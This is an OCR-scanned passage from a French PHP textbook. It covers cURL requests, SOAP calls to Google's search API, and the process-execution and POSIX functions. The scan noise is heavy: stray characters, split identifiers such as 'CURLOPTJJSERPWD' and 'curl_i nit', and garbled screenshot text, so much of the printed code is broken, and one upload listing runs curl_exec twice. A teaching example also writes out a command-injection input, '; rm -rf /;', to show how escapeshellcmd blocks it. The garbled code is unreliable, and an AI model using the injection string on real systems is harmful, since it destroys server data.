Syntaxe string curl_error(resource $curlld) 

$curl Id Pointeur sur la ressource tel que retourne par cur l_init ( ) . 

retour Message d'erreur cURL. 

Verifier la version de cURL 

L'instruction curl_version ( ) permet de recuperer la version de votre librairie curl. 



curl_version() 



O — L 
o F> 

Retourne la version de la bibliotheque curl. 00 2 >"" 



l£3 
CD 
CO 



Syntaxe string curl_version(void) 

retour Chaine de caracteres indiquant la version de la bibliotheque installee sur le 2. 5 ~ 

systeme. P tj = 



"n cd 
—l v> 



Exemples d'applications 



A present, nous allons voir differents exemples d'utilisation des fonctions cURL. Ce sont des 
exemples simples, qui n'ont d'autre but que de vous montrer les diverses possibilites de ce 
module. 



1295 











Q. 




c/j 


1— 




CD 


Ll_ 




■o 






c 


o_" 


o 


_o 


1= 


"5 


To 


31 


n 


CD 




Q_ 


C3) 


GO 
02 


«s 


CO 




o 


_l 


o 
o 


GO 


CO 


o 






o 
a. 





Chapitre 1 6 La gestion des protocoles HTTP, FTP, SOAP, etc. 



Afflcher le contenu d'une page web distante 

Voici l'utilisation la plus simple des fonctions cURL. Le script va chercher la page sur un 
serveur distant et l'affiche sur le navigateur web. 

Listing 16.3 : exemplel.php 

<?php 

$curlld = curl _init("http: //www. 1 inux.org/") ; 

curl_exec($curl Id) ; 

curl_close($curl Id) ; 

?> 

Recuperer le contenu d'une page dans un fichier 

Cet exemple est une variation du precedent. Cette fois, nous specifions simplement un fichier 
de sortie, ce qui permet de recuperer le code HTML de la page plutot que de l'afficher 
directement. 

Listing 16.4 : exemple2.php 

<?php 

// Ouverture d'un fichier en ecriture 

$fp = fopen( "linux.html", "w"); 

// Creation de la session cURL 

$curlld = curl_init("http://www.l inux.org/") ; 

// Fichier de sortie 
curl_setopt($curlId, CURLOPT_FILE, $fp) ; 

// Execution de la session 
curl_exec($curl Id) ; 

// Fermeture de la session 
curl_close($curl Id) ; 

// Fermeture du fichier 
fclose($fp); 

// On verifie en affi chant ensuite le fichier 

readfile("l inux.html ") ; 

?> 



Envoyer des donnees par methode POST 

L'exemple suivant montre comment cURL peut envoyer des donnees par une methode post, 
cet envoi etant alors identique a celui depuis un formulaire HTML. 
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Listing 16.5: exemple3.php 

<?php 

// Creation de la session cURL 

$curl Id = curl_i nit ("http://www.monserveur.com/formulaire.php") : 

// Le serveur demande une authentifi cation 
curl_setopt($curlId, CURLOPT_USERPWD, "uti 1 isateur:mot2passe") ; 

// Methode POST 

curl_setopt($curlId, CURLOPT_POST, TRUE); 

$post = "nom=GUEDON". 

"&prenom=Laurent". 

"&mai 1 =1 aurent@ti 1 d . com" . 

"&action=valider"; 
curl_setopt($curlId, CURLOPT_POSTFIELDS, $post) ; 

// Indiquons egalement differents cookies 

$cookies = "cookiel=premier cookie;cookie2=deuxieme cookie"; 

curl_setopt($curlId, CURLOPT_COOKIE, $cookies); 

// Execution de la session 
curl_exec($curl Id) ; 

// Fermeture de la session 

curl_close($curl Id) ; 

?> 



Lister le contenu d'un repertoire FTP 

Cet exemple liste les noms des fichiers se trouvant dans un repertoire. Le script recupere les 
differents fichiers dans une variable et les affiche ensuite en ajoutant la balise <br> entre les 
differents sauts de lignes. 

Listing 16.6: exemple4.php 

<?php 

// Creation de la session cURL 

$curlld = curl_init("ftp://www. monsite.org/repertoi re/") ; 



O — L 

/> S r- 



// Indiquons le login et le mot de passe de la connexion o jj- » 

curl_setopt($curlId, CURLOPT_USERPWD, "uti 1 isateur:mot2passe") ; 



(Q 



// Indiquons de retourner la sortie dans une variable 



S3I 



o 



curl_setopt($curlId, CURLOPT_RETURNTRANSFER, TRUE); tj ro 

// On demande d'afficher uniquement les noms des fichiers 
curl_setopt($curlId, CURLOPT_FTPLISTONLY, TRUE); 

// Execution de la session 
$retour = curl_exec($curl Id) ; 
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// Affichons le resultat 
echo nl2br($retour) ; 

// Fermeture de la session 

curl_close($curl Id) ; 

?> 



Envoyer un fichier sur un serveur FTP 

Cet exemple montre de facon simple comment envoyer un fichier sur un serveur FTP. 

Listing 16.7 : exemple5.php 

<?php 

// Ouverture d'un fichier en lecture 

$fp = fopen( "monfichier.html ", "r"); 

// Creation de la session cURL 

$curl Id = curl_init("ftp://ftp. monserveur.com/html /monfichier.html ") ; 

// Indiquons le login et le mot de passe de la connexion 
curl_setopt($curlId, CURLOPTJJSERPWD, "util i sateur:mot2passe") ; 

// Preparation d'un Upload de fichier 
curl_setopt($curlId, CURLOPTJJPLOAD, TRUE); 

// Taille du fichier a envoyer 

curl_setopt($curlId, CURLOPT_INFI LESIZE, filesize("monfichier.html ")) ; 

// Fichier a envoyer 

curl_setopt($curlId, CURLOPT_INFILE, $fp) ; 

// Indiquons 1'adresse "PORT" du client 
curl_setopt($curlId, CURLOPT_FTPPORT, "-"); 

// Execution de la session 

if (!$donnee = curl_exec($curl Id)) 

{ 

die("Probleme lors de l'envoie du fichier\n". 
curl_error ($curl Id) ) ; 
} else { 

echo "Le fichier a ete envoye sur le serveur."; 



// Execution de la session 
curl_exec($curl Id) ; 

// Fermeture de la session 
curl close($curl Id) ; 
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// Fermeture du fichier 

fclose($fp); 

?> 



16.6. SOAP 



SOAP (Simple Object Access Protocol) permet d'envoyer des messages XML a des serveurs, 
en utilisant HTTP comme moyen de communication. 

Depuis peii, le celebre moteur de recherche Google permet gratuitement de faire une requete 
sous forme XML via SOAP, et de recuperer le resultat de la requete. Ce sera le sujet de notre 
exemple. 

Un message SOAP est generalement constitue d'un en-tete et d'un corps. 

L'exemple que nous decrivons un peu plus loin dans ce chapitre donne lieu a la creation du 
message SOAP suivant, que Ton appelle une enveloppe : 

<?xml version="1.0" encoding="UTF-8"?> 

<S0AP-ENV: Envelope xmlns:SOAP-ENV=" http://schemas.xml soap.org/soap/envelope/" 

xmlns:xsd=" http://www.w3.org/2001/XMLSchema" 

xmlns:xsi=" http://www.w3.org/2001/XMLSchema-instance" 

xmlns: SOAP- ENC=" http://schemas.xml soap.org/soap/encoding/" 

xml ns : ns4="urn : Googl eSearch" 

SOAP- ENV:encodingStyle=" http://schemas.xml soap.org/soap/encoding/"> 
<SOAP-ENV:Body> 

<ns4:doGoogleSearch> 



<item xsi :type 
<item xsi :type 
<item xsi :type 
<item xsi :type 
<item xsi :type 
<item xsi :type 
<item xsi :type 
<item xsi :type 
<item xsi :type 
<item xsi :type 
</SOAP-ENV:Body> 
</S0AP-ENV:Envelope> 



"xsd:string">M41 iC3nceS3cr3tE</i tem> 

"xsd : stri ng">mai 1 site: www . toutestf aci 1 e . com</i tem> 

"xsd:int">0</item> 

"xsd:int">5</item> 

"xsd : bool ean">true</i tem> 

"xsd : stri ng"x/i tem> 

"xsd : bool ean">true</i tem> 

"xsd : stri ng">l ang_f r 1 1 ang_en</i tem> 

"xsd: stri ng">latinl</i tem> 

"xsd:string">latinl</itemx/ns4:doGoogleSearch> 



Dans l'exemple precedent, nous retrouvons, dans le corps de 1'enveloppe, les informations 
pertinentes pour la fonction doGoogleSearch du serveur SOAP de Google. 

Les fichiers WSDL (Web Service Definition Language) permettent de definir un service web ; 
ils sont ecrits au format XML. A partir de ces fichiers, il est possible de savoir ce qu'attendent 
les services web comme parametres. Voici, par exemple, un extrait du fichier WSL decrivant le 
service doGoogleSearch propose par Google : 

<?xml version="1.0"?> 
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<!-- WSDL description of the Google Web APIs. 

The Google Web APIs are in beta release. All interfaces are subject to 
change as we refine and extend our APIs. Please see the terms of use 
for more information. --> 

<defi nit ions name="urn:GoogleSearch" 

targetNamespace="urn:GoogleSearch" 

xmlns:typens="urn:GoogleSearch" 

xmlns:xsd=" http://www.w3.org/2001/XMLSchema" 

xmlns:soap=" http://schemas.xml soap.org/wsdl /soap/" 

xmlns:soapenc=" http://schemas.xml soap.org/soap/encoding/" 

xmlns:wsdl=" http://schemas.xml soap.org/wsdl/" 

xmlns=" http://schemas.xml soap.org/wsdl/"> 

<!-- Types for search - result elements, directory categories --> 

<types> 
<xsd: schema xmlns=" http://www.w3.org/2001/XMLSchema" 
target Namespace=" urn :GoogleSearch"> 

<xsd:complexType name="GoogleSearchResul t"> 
<xsd:all> 
<xsd : el ement name=" document Fi 1 teri ng" 

type="xsd:boolean"/> 
<xsd: el ement name="searchComments" 

type="xsd:string"/> 
<xsd: el ement name="estimatedTotal Result sCount" 

type="xsd:int"/> 
<xsd: el ement name="estimatels Exact" 

type="xsd:boolean"/> 
<xsd : el ement name=" resul tEl ement s " 

type="typens : Resul tEl ementArray"/> 
<xsd: el ement name="searchQuery" 

type="xsd:string"/> 
<xsd:element name="startlndex" 

type="xsd:int"/> 
<xsd:element name="endlndex" 

type="xsd:int"/> 
<xsd:element name="searchTips" 

type="xsd:string"/> 
<xsd: el ement name="directoryCategories" 

type="typens:DirectoryCategoryArray"/> 
<xsd:element name="searchTime" 

type="xsd:double"/> 
</xsd:all> 
</xsd : compl exType> 

<xsd:complexType name=" Resul tEl ement "> 
<xsd:all> 
<xsd:element name=" summary" type="xsd:string"/> 
<xsd:element name="URL" type="xsd:string"/> 
<xsd:element name="snippet" type="xsd:string"/> 
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<xsd:element name="title" type="xsd:string"/> 

<xsd:element name="cachedSize" type="xsd:string"/> 

<xsd: element name=" related I nformationPresent" type="xsd:boolean"/> 

<xsd:element name="hostName" type="xsd:string"/> 

<xsd: element name="directoryCategory" 

type="typens:DirectoryCategory"/> 
<xsd:element name="directoryTitle" type="xsd:string"/> 
</xsd:all> 
</xsd : compl exType> 

<xsd:complexType name= "Result Element Array "> 
<xsd : compl exContent> 
<xsd: restriction base="soapenc: Array "> 
<xsd : attri bute ref =" soapenc : array Type" 

wsdl : arrayTy pe="typens: Result Element [] "/> 
</xsd:restriction> 
</xsd : compl exContent> 
</xsd : compl exType> 

<xsd: compl exType name="DirectoryCategoryArray"> 
<xsd : compl exContent> 
<xsd: restriction base=" soapenc: Array "> 
<xsd : attri bute ref = " soapenc : array Type" 

wsdl :arrayType="typens:DirectoryCategory[] "/> 
</xsd:restriction> 
</xsd : compl exContent> 
</xsd : compl exType> 

<xsd: compl exType name="DirectoryCategory"> 
<xsd:al 1> 
<xsd:element name="fullViewableName" type="xsd:string"/> 
<xsd:element name="special Encoding" type="xsd:string"/> 
</xsd:all> 
</xsd : compl exType> 

</xsd:schema> 
</types> 



<!-- Messages for Google Web APIs - cached page, search, spelling. 



C/> 



<message name="doGoogleSearch"> o 2. a> 



O — L 

r- 



<part name= 

<part name= 

<part name= 

<part name= 

<part name= 

<part name= 

<part name= 

<part name= 

<part name= 

<part name= 



CD 



'key" type="xsd:string"/> tj " ct> 

q" type="xsd:string"/> 2. J — 

'start" type="xsd:int"/> p -a = 

maxResults" type="xsd:int"/> -n S - 

'filter" type="xsd:boolean"/> tj *" 

'restrict" type="xsd:string"/> 

'safeSearch" type="xsd:boolean"/> 

'lr" type="xsd:string"/> 

ie" type="xsd:string"/> 

'oe" type="xsd:string"/> 
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</message> 

<message name="doGoogl eSearchResponse"> 

<part name=" return" type="typens:GoogleSearchResult"/> 
</message> 

<!-- Port for Google Web APIs, "GoogleSearch" --> 
<portType name="GoogleSearchPort"> 
<operation name="doGoogleSearch"> 
<i nput message="typens : doGoogl eSearch"/> 
<output message="typens: doGoogl eSearchResponse"/> 
</operation> 
</portType> 

<!-- Binding for Google Web APIs - RPC, SOAP over HTTP --> 

<binding name="GoogleSearchBinding" type="typens:GoogleSearchPort"> 
<soap:binding style="rpc" 

t ransport=" http://schemas.xml soap. org/soap/http"/> 
<operation name= " doGoogl eSearch"> 
<soap : operati on soapAct i on= "urn : Googl eSearchActi on "/> 
<input> 
<soap:body use="encoded" 

namespace="urn:GoogleSearch" 

encodingStyle= "http://schemas.xml soap. org/soap/encoding/"/> 
</input> 
<output> 
<soap:body use="encoded" 

namespace="urn:GoogleSearch" 

encodingStyle= "http://schemas.xml soap. org/soap/encoding/"/> 
</output> 
</operation> 
</binding> 

<!-- Endpoint for Google Web APIs --> 
<service name="GoogleSearchService"> 

<port name= "GoogleSearch Port" binding="typens: Googl eSearchBinding"> 
<soap: address location="http://api .google. com/search/bet a2"/> 

</port> 
</service> 

</definitions> 

Ce fichier, tel qu'il est ecrit, se lit de bas en haut. Tout en bas, nous trouvons l'adresse du service 

web: http://api.google.com/search/beta2 puis, au dessus, dans la balise <binding>, 

nous trouvons les differents services (ici, il n'y a que doGoogleSearch) ou 1'entree et la sortie 
sont definies. 

Dans la declaration de la balise <binding>, le lien est fait vers le type GoogleSearchPort. On 
retrouve un peu plus haut ce type, qui definit les types d'entrees et de sorties. Les entrees seront 
done de type doGoogleSearch et les sorties de type doGoogleSearchResponse. 

Les types doGoogleSearch et doGoogleSearchResponse sont decrits plus haut dans le fichier. 
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Installation 

SOAP fait partie du projet PEAR. II depend des paquetages PEAR suivants: Mail_Mime, 
NetJJRL, Net_Socket, HTTP_Request, Net_DIME. Pour les installer vous pouvez, au choix, 
telecharger le fichier correspondant a l'adresse http://pear.php.net/packages.html et le dezipper 
dans un espace quelconque defini dans la variable include _path du fichier php.ini, ou bien vous 
pouvez utiliser les commandes PEAR. Notez toutefois, que pour les paquetages SOAP et 
NetJDIME qui n'ont pas encore le statut "stable" vous serez oblige de les telecharger avant de 
les installer avec les commandes Pear. 

# pear upgrade Mail_Mime 

# pear upgrade NetJJRL 

# pear upgrade Net_Socket 

# pear upgrade HTTP_Request 

# pear install Net_DIME.tar.gz 

# pear install SOAP. tar. gz 



PHP 5 

SOAP PEAR n'est (a I'heure de I'ecriture de ces lignes) pas compatible avec PHP 5 

(ceci a cause d'une mauvaise redefinition de la methode call dans la classe 

SOAP_ciient). Si vous vous sentez d'attaque vous pouvez tenter de le faire 
fonctionner sous PHP 5 en remplacant la declaration de la methode call par: 

function call ($method, $args) 

et en remplacant return true,- par 

return $this->call ($method, $args); 

// n'est toutefois pas assure que cela suffise pour un fonctionnement parfait. 



Utiliser les classes PEAR 

PEAR produit des classes pour les clients et serveurs SOAP, ainsi que des classes pour faire 
l'analyse lexicale d'un message SOAP, ou encore une classe qui permet de replacer le protocole 
standard HTTP (par la possibilite d'analyser le contenu d'un e-mail et de faire les appels 
contenus a l'interieur de celui-ci). 



Mais revenons a la classe a priori la plus utile : la classe S0AP_ciient qui permet de faire appel 
a un serveur SOAP. 

Le constructeur de cette classe necessitera l'adresse du serveur SOAP. 



SOAP_Client() 



Constructeur d'objets SOAP_Client. 

Syntaxe SOAP_client S0AP_cl ient (String $url [, boolean $wsdl [, string 

$nomPort]]) 
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$url URL du serveur SOAP. 

$wsdl TRUE si l'URL est celle d'un fichier WSDL. 

$nomPort Nom du port SOAP utilise par le client, 

retour Un objet de type SOAP_Client. 
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SOAP_Client->setEncoding() 

Definit l'encodage des messages. 

Syntaxe mixed setEncoding (string $encodage) 

$encodage 'UTF-8', 'US_ASCII' ou 'ISO-8859-1' 

retour NULL, ou une erreur de type SOAP_Fault. 



SOAP_Client->addHeader() 

Pour ajouter des en-tetes a l'enveloppe SOAP. 

Syntaxe void addHeader(SOAP_Header $entete) 

$entete En-tete a ajouter de type SOAP_Header. 



SOAP_Client->call() 



Permet de faire un appel au serveur SOAP. 

Syntaxe array call (string $methode, array $parametres [, string 

$espaceNom, [string $actionSoap]]) 

$methode Nom de la methode a appeler. 

$parametres Tableau des parametres a passer. 

retour Tableau des resultats. 



Interroger Google via PHP 



Depuis debut 2002, Google met a disposition un serveur SOAP permettant de faire des 
recherches dynamiquement. Attention, TAPI fournie permettant d'interroger le moteur de 
recherche est susceptible d'etre modifiee. Pire, ce service pourrait etre supprime du jour au 
lendemain. 
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Pre-requis 



Pour pouvoir utiliser le serveur SOAP de Google, vous devrez recuperer un numero de licence 
sur le site web de Google en creant un nouveau compte. Ce numero de licence vous permettra 
de faire jusqu'a 1 000 requetes par jour. 



© 



Nouveau compte 

Pour creer un compte sur Google, Vadresse est : 
INTERN ET https://www.google.comlaccountslNewAccount?continue=http:llapi.google.coml 
createkey &followup=http://api.google.com/createkey. 



Vous serez egalement interesse par le telechargement de 1'API, car c'est elle qui vous dira 
comment effectuer vos requetes. 



©Telecharger I 'API 
Pour telecharger I'API de Google, Vadresse est : 
internet http://www.google.com/apis/downloatl.html. 

Notre premier script sera tres simple : il permet de faire une recherche avec des mots-cles 
integres dans le script. Les resultats seront affiches sans mise en page, mais juste a l'aide de la 

fonction print_r ( ) . 

Listing 16.8 : soapgoogle.php 

<?php 

// On utilisera les classes de projet PEAR 

require_once "S0AP/C1 ient.php"; 

// On place ici le numero de licence obtenu sur le site de Google 

$numeroLicence = "MA_LICENCE, CETTE_CHAINE_DOIT_ETRE_REMPLACEE"; 

// Les mots cles sont stockes dans le script ici. 

$motsCles = "Apprendre PHP facilement"; 

// Creation du client SOAP et declaration du serveur SOAP. 

$soapClient = new SOAP_Client("http://api .google.com/search/beta2") ; 

// Les parametres a passer tels que decrits dans l'API de Google 

// (licence, 

// motscles, 

// indice du premier resultat a retourner, 



CD 



O — L 

2 r- 



// nombre de resultats a retourner, o 2. M 

// utilisation ou non du filtre cachant les resultats similaires, ^ eo "S 

// restrictions a un pays ou domaine..., n> — i =; 

// filtrage des sites pour adultes, P _-o = 
// Restriction sur la langue, -n 5" 

// encodage d 1 entree, tj *" 

// encodage de sortie) 

$recherche = array($numeroLicence, $motsCles, 0, 1, TRUE, "", 

TRUE, "", "", ""); 
// Appel a la methode "doGoogleSearch" du serveur SOAP, 
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$result = $soapCl ient->call ("doGoogleSearch", $recherche, 

"urn:GoogleSearch") ; 
// Affichage du resultat 
print_r($result) ; 
?> 

Le resultat obtenu est le suivant : 

stdClass Object 

( 

[documentFiltering] => 1 
[estimatedTotalResultsCount] => 7080 
[directoryCategories] => 
[searchTime] => 0.133035 
[resultElements] => Array 

( 

[item] => stdClass Object 
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) 



( 



[cachedSize] => 22k 

[hostName] => 

[snippet] => Un site pour bien apprendre le PHP et SQL , les 

x scripts commentes, le forum et les tutoriaux sont la pour 

x vous aider. 

[directoryCategory] => stdClass Object 

( 

[special Encoding] => 

[fullViewableName] => Top/World/Frangais/ 

x Informatique/Programmation/Langages/PHP 

) 

[relatedlnformationPresent] => 1 

[directoryTitle] => <b>PHP</b> <b>Facile</b> 

[summary] => <b>Apprendre</b> le <b>PHP</b>. On y trouve des 

s< tutoriaux, des scripts commentes et un forum. 

[URL] => http://www.phpfacile.com/ 

[title] => <b>PHP</b> <b>Facile</b> ! Le site pour 

s-= <b>apprendre</b> le <b>PHP</b> simplement et <b>...</b> 



) 



[endlndex] => 1 

[searchTips] => 

[searchComments] => 

[startlndex] => 1 

[estimatelsExact] => 

[searchQuery] => Apprendre PHP facile 



Ce n'est pas plus difficile que ces quelques lignes... 

A partir de la, il est facile d'elaborer un moteur de recherche personnel base sur Google. 
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Voici notre interface graphique : elle permet d'entrer les mots-cles comme sur le site de Google, 
de preciser le nombre de resultats maximum a retourner, et le site sur lequel restreindre le 
recherche (il suffira de laisser le champ vide pour faire une recherche sur tous les sites). 



Fichler Edition ftrndiaes haver Is On tils 



Q Precedence ' l£ 7\ j^l <^) O Rechercher 

! 1p_per50.html v ^j OK Liens " 



Moteur de recherche Google 

Recherche: |mail 



Nb resultats: |§_ 



Site sur iequeifaire la recherche: www.toutestfacile.com 
Soumettre arequete 






Figure 16.4 : 

Leformulaire rempli 
pour notre exemple 



Le script charge de traiter la requete est le suivant 



Listing 16.9 : mpperso.php 

<html> 
<head> 

<title>Moteur de recherche personnel </title> 

<link rel="stylesheet" type="text/css" href="style.css" /> 
</head> 
<body> 

<centerxfont color="blue"> 
<hl>Resultat de la recherche</hl> 

</fontx/center> 
<?php 

// On utilisera les classes de projet PEAR 

require_once "S0AP/C1 ient.php"; 

// On place ici le numero de licence obtenu sur le site de Google 

$numeroLicence = " MA_LICENCE, CETTE_CHAINE_DOIT_ETRE_REMPLACEE "; 

// Les mots cles sont stockes dans le script ici. 

$motsCles = $_POST["motscles"] ." site: ".$_POST["site"] ; 

$nbresultats = $_POST["nbresultats"] ; 

// Creation du client SOAP et declaration du serveur SOAP. 

$soapClient = new S0AP_C1 ient("http://api .google.com/search/beta2") ; 

// Les parametres a passer tels que decrits dans 1 'API de Google 

// (licence, 

// motscles, 

// indice du premier resultat a retourner, 

// nombre de resultats a retourner, 

// utilisation ou non du filtre cachant les resultats simil aires, 

// restrictions a un pays ou domaine. . . , 

// filtrage des sites pour adultes, 

// Restriction sur la langue, 

// encodage d 1 entree, 

// encodage de sortie) 
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$recherche = array($numeroLicence, $motsCles, 0, 
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(int)$nbresultats, TRUE, "", TRUE, 
"lang_fr|lang_en", "latinl", "latinl") ; 
// Appel a la methode "doGoogleSearch" du serveur SOAP, 
$result = $soapCl ient->call ("doGoogleSearch", $recherche, 

"urn:GoogleSearch") ; 
// Affichage du resultat 
echo "<font size=\"2\">"; 

echo "<br />Temps de recherche:" .$result->searchTime; 
echo "<br ^Estimation du nombre de resultats:". 

$resul t->estimatedTotal Resul tsCount . "<br />" ; 
echo "</font>"; 
$1 = 0; 

if ($result->resultElements) { 
foreach ($resul t->resultElements as $resultat) { 
$i++; 
echo "<br />$i - <a href=\"".$resultat->URL."\">" . 

$ resul tat->ti tl e. "</axbr />" ; 
echo $resultat»snippet."<br />"; 
echo "<font size=\"l\" color=\"#666666\">" . 

$resultat->title. "</fontxbr />"; 
echo "<br />"; 



} else { 
echo 



'Pas de resultat" 
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?> 

</body> 
</html> 



qui aura pour effet l'affichage suivant 

m— i 






Resultat (Iv la recherche 



] ■ PHP Facile ' Le **t pour apprcaiit !k PHP niiiplcmciil rL ... 

. .. Lf hi ba La fonrHon de base pour nurayer un email tit mail. Deal la lyntaxe- 

est mail >'*&■* s se di; destuiirase '-■ . •-■ttzt -in raadl^XMHpi du mtH jrc'O; ... 



3 fJiP Filed* » U sSr pour appr*niirft k PEtP simpl*m*nt ft ... 

... Pwi pouvoir jciidre ud Ikluei A mtjnaiL. il fai* vraisli** *ni me jj;*i£ q 
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Figure 16.5 : Resultat de la recherche 
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Execution d'un programme 



17.1. Execution d'un programme 



Les fonctions d'appel aux programmes exterieurs faisant partie integrante de PHP, aucune 
bibliotheque n'est necessaire pour cette partie. 

Nous avons deja vu l'utilisation des apostrophes inversees pour executer une commande, par 
exemple : 

Listing 17.1 : processus_01.php 

<?php 

echo 'dir c:/'; 
?> 

pourra afficher : 

Le volume dans le lecteur C n'a pas de nom, 
Le num.ro de s.rie du volume est A40D-542C 

R.pertoire de c:\program files\apache group\apache\htdocs\biblephpscripts\chapl8 

01/07/2002 22:25 <REP> 
01/07/2002 22:25 <REP> 
01/07/2002 22:26 22 chapl8-01.php 

1 fichier(s) 22 octets 

2 R,p(s) Iy564y647y424 octets libres 



Restrictions 

L'utilisation des apostrophes inversees pour executer une commande n'est possible 
REMARQUE ^ ue w - pfjp n ' es t pas en "safe mode" (les hebergeurs sont souvent en safe mode) et si 
la fonction shell_exec ( ) n'a pas ete desactivee. 

sheii_exec ( ) est identique a l'utilisation des apostrophes. 



shell_exec() 

Execute et retourne le resultat de l'execution. 

Syntaxe string shell_exec(string $commande) 

$commande Commande a executer. 

retour Le resultat de la commande. 

Pour passer en argument une chaine pouvant contenir des caracteres a problemes, la fonction 
escapeshellarg ( ) permet de normaliser une chaine de caracteres destinee a etre passee en 
argument. 
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Chapitre 1 7 Les processus et les identifiants 

escapeshellargO 

Permet de normaliser une chaine de caracteres destinee a etre passee en argument. 

Syntaxe string escapeshel larg (string $parametre) 

$parametre Chaine a normaliser. 

retour Chaine normalisee. 

Pour normaliser une commande et empecher l'execution d'une autre commande, la fonction 
escapeshel lcmd ( ) permet de s'assurer que la chaine fournie sera normee. 

escapeshellcmdO 

Permet de normaliser une chaine. 

Syntaxe stringshel lcmd (string $commande) 

$commande Chaine a normaliser. 

retour Chaine normalisee. 

Supposons, par exemple, que nous souhaitions lister le contenu d'un repertoire en nous basant 
sur une chaine eventuellement saisie par un utilisateur via un formulaire. L'utilisateur est alors 
libre de taper ce qu'il veut et par exemple "; rm -rf /;" (sous Windows nous pourrions 
remplacer l'exemple par "; format c: ;"). 

Listing 17.2 : processus_02.php 

<?php 

$chaine="; rm -rf /;"; 

echo "Is /tmp/".$chaine."<br />\n"; 

echo "Is /tmp/". escapeshel 1 cmd($chaine) ."<br />\n"; 
?> 

Voici le resultat obtenu : 

Is /tmp/; rm -rf /; 
Is /tmp/\; rm -rf A; 

Ici, nous n'avons affiche que les commandes. Dans le cas de la premiere commande, le serveur 
aurait perdu l'ensemble des fichiers s'il avait ete execute, c'est pourquoi les hebergeurs sont peu 
enclins a laisser leurs clients utiliser les fonctions d'execution de commandes... 

Pour executer une commande, il est aussi possible d'utiliser la fonction exec ( ) : 
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exec() 



Permet d'executer un programme externe. En retour, on trouvera la derniere ligne du resultat 
de la commande. 



Syntaxe 

$commande 
$sortie 

$variableRetour 
retour 



string exec(string $commande[, array $sortie[, int 
$variableRetour]]) 

Commande a executer. 

Tableau contenant toutes les lignes des sorties de la commande. 

Le code de retour sera inscrit dans cette variable. 

La derniere ligne de sortie. 
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ASecurite 
Si voiis permettez awe visiteurs de passer le moindre parametre a cette fonction, 
ATTENTION n'oubliez pas d'appliquer les fonctions escapeshellarg ( ) et escapeshellcmd ( ) 
decrites precedemment. 



passthru() 



A la difference d'exec ( ) , passthru ( ) execute la commande passee en parametre et affiche la 
sortie du programme. 



Syntaxe 

$commande 
$variableRetour 



void passthru(string $commande [, int $variableRetour] ) 

Commande a executer. 

Le code de retour sera inscrit dans cette variable. 



system () 



Permet d'executer un programme externe et d'en afficher le resultat. 

Syntaxe string system(string $commande [, int $variableRetour] ) 

$commande Commande a executer. 

$vari abl eRetour Le code de retour sera inscrit dans cette variable. 

retour La derniere ligne de la sortie de la commande. 



17.2. POSIX 

La bibliotheque posix n'est disponible que sous les systemes de type UNIX (Linux, Mac OS 
X...), car elle fait appel a des notions de ce systeme d'exploitation. 
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Chapitre 1 7 Les processus et les identifiants 



Un fichier appartient necessairement a un utilisateur et a un groupe. Cet utilisateur est 
caracterise par deux parametres. D'une part, il possede un nom d'utilisateur (le 'username' ou 
'login name') et, d'autre part, tout utilisateur possede un identifiant unique de type entier 
appele UID (User IDentifier). Meme remarque pour le groupe qui a un nom (group name) et 
un identifiant unique nomme le GID (Group IDentifier). 

A chaque fichier sont associes un UID et un GID. C'est le systeme qui, ensuite, fait le rapport 
entre ces identifiants et leur denomination sur ce systeme. Le langage PHP possede une serie 
de fonctions permettant de recuperer les UID et GID a partir des identifiants et vice versa. 
C'est le module POSIX qui fournit au langage cette interaction entre le systeme d'exploitation 
et l'interpreteur PHP. 

Nom d'utilisateur et UID 

Pour recuperer un identifiant a partir d'un UID, il faut passer par l'instruction 

posix_getpwuid ( ) . 



posix_getpwuid() 



Retourne les informations sur 1'utilisateur possedant 1'UID donne en parametre (telles que 
decrites dans le fichier /etc/passwd). 

Syntaxe array posix_getpwuid(int $uid) 

$ u i d UID de 1'utilisateur. 

retour Tableau associatif contenant les cles : 

"name", nom (login) de 1'utilisateur. 

"passwd", mot de passe de 1'utilisateur (crypte ou plus probablement x 

lorsqu'un fichier /etc/shadow est utilise). 

"uid", identifiant de 1'utilisateur. 

"gid", groupe de 1'utilisateur. 

"gecos", commentaire a propos de 1'utilisateur. 

"dir", repertoire racine de 1'utilisateur, en general on parle du repertoire 

home de cet utilisateur. 

"shell", systeme de commande de 1'utilisateur. II s'agit generalement de 

bash, sh, csh ou rien comme dans notre exemple. 

<?php 

$i nfoUti 1 isateur = posix_getpwuid(100) ; 
while (list($key, $val) = each ($infoUtil isateur)) { 
echo "$key = $val<br />"; 

} 

?> 

name = www 

passwd = x 

uid = 100 

gid = 101 

gecos = e-smith web server 
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dir = /home/e-smith 
shell = /bin/false 

II est, bien entendu, possible de faire la meme chose en ne connaissant, cette fois, que le nom 
de l'utilisateur. Ainsi, la fonction posix_getpwnam( ) retourne un tableau contenant les 
memes informations sur l'utilisateur que precedemment. 



posix_getpwnam() 
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Retourne les informations sur un utilisateur en fonction de son nom (telles que decrites dans le 
fichier /etc/passwd). 

Syntaxe array posix_getpwnam(string $nomUtil isateur) 

$nomL)tilisateur Nom de l'utilisateur. 

retour Tableau associatif contenant les cles : 

"name", nom (login) de l'utilisateur. 

"passwd", mot de passe de l'utilisateur (crypte ou plus probablement 'x' 

lorsqu'un fichier I etc I shadow est utilise). 

"uid", identifiant de l'utilisateur. 

"gid", groupe de l'utilisateur. 

"gecos", commentaire a propos de l'utilisateur. 

"dir", repertoire racine de l'utilisateur, en general on parle du repertoire 

home de cet utilisateur. 

"shell", systeme de commande de l'utilisateur. II s'agit generalement de 

bash, sh, csh ou rien comme dans notre exemple. 

Pour ne recuperer que le login de l'utilisateur proprietaire du processus courant, il suffit de 
faire appel a posix_getlogin ( ) . 



posix_getlogin() 



Retourne le nom de login de la personne proprietaire du processus courant. 

Syntaxe string posix_getlogin(void) 

retour Le login en question. 



Erreur 

Dans nos essais nous avons eu comme retour : 

<b>Warning</b>: Cannot determine your login name. Something is really wrong 

here, in <b>{chemin du script}</b> on line <b>{no Ligne}</b><br>. 

Ce qui signifie que le nom de login n 'a pas pu etre obtenu. 
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Chapitre 1 7 Les processus et les identifiants 

posix_geteuid() 

Retourne le numero d'identifiant du proprietaire effectif du processus courant. 

Syntaxe int posix_geteuid(void) 

retour Numero d'utilisateur. II est possible d'obtenir plus de details sur ce groupe 

al'aidedeposix_getpwuid ( ) . 



posix_getuid() 

Retourne le numero d'identifiant du proprietaire reel du processus courant. 

Syntaxe int posix_getuid(void) 

retour Numero d'utilisateur. II est possible d'obtenir plus de details sur ce groupe 

a l'aide de posix_getpwuid ( ) . 



posix_seteuid() 



Permet de definir l'identifiant de l'utilisateur effectif du processus courant. II faut avoir les 
privileges adequats pour ce type d'operation (il faut generalement etre connecte en tant que 

root). 

